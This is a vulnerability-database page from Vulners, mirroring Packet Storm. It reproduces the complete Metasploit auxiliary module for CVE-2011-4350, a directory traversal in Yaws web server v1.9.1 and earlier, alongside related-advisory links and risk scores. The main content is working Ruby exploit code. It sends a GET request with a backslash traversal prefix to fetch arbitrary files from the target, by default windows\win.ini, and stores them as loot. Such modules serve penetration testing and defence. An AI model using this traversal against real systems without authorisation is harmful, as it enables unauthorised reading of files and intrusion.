Lucene search
K

Yaws Web Server Directory Traversal

🗓️ 01 Sep 2024 00:00:00Reported by sinn3r, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 190 Views

Yaws Web Server Directory Traversal module exploits a directory traversal bug in Yaws v1.9.1 or less. The module can only be used to retrieve files. However, code execution might be possible

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-4350
29 May 201815:50
circl
CNVD
Yaws Path Traversal Vulnerability
3 Dec 201900:00
cnvd
CVE
CVE-2011-4350
26 Nov 201904:49
cve
Cvelist
CVE-2011-4350
26 Nov 201904:49
cvelist
Debian CVE
CVE-2011-4350
26 Nov 201904:49
debiancve
Metasploit
Yaws Web Server Directory Traversal
8 Dec 201100:42
metasploit
NVD
CVE-2011-4350
26 Nov 201905:15
nvd
OSV
CVE-2011-4350
26 Nov 201905:15
osv
OSV
DEBIAN-CVE-2011-4350
26 Nov 201905:15
osv
OSV
UBUNTU-CVE-2011-4350
26 Nov 201905:15
osv
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Yaws Web Server Directory Traversal",  
'Description' => %q{  
This module exploits a directory traversal bug in Yaws v1.9.1 or less.  
The module can only be used to retrieve files. However, code execution might  
be possible. Because when the malicious user sends a PUT request, a file is  
actually created, except no content is written.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r', # Metasploit module  
],  
'References' =>  
[  
['CVE', '2011-4350'],  
['OSVDB', '77581'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=757181']  
],  
'DisclosureDate' => '2011-11-25'  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini'])  
])  
end  
  
def run_host(ip)  
# No point to continue if no filename is specified  
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?  
print_error("Please supply the name of the file you want to download")  
return  
end  
  
# Create request  
traversal = "..\\..\\..\\..\\"  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/#{traversal}/#{datastore['FILEPATH']}"  
}, 25)  
  
# Show data if needed  
if res and res.code == 200  
vprint_line(res.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'yaws.http',  
'application/octet-stream',  
ip,  
res.body,  
fname  
)  
print_status("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 24
CVSS 3.16.5
EPSS0.24955
190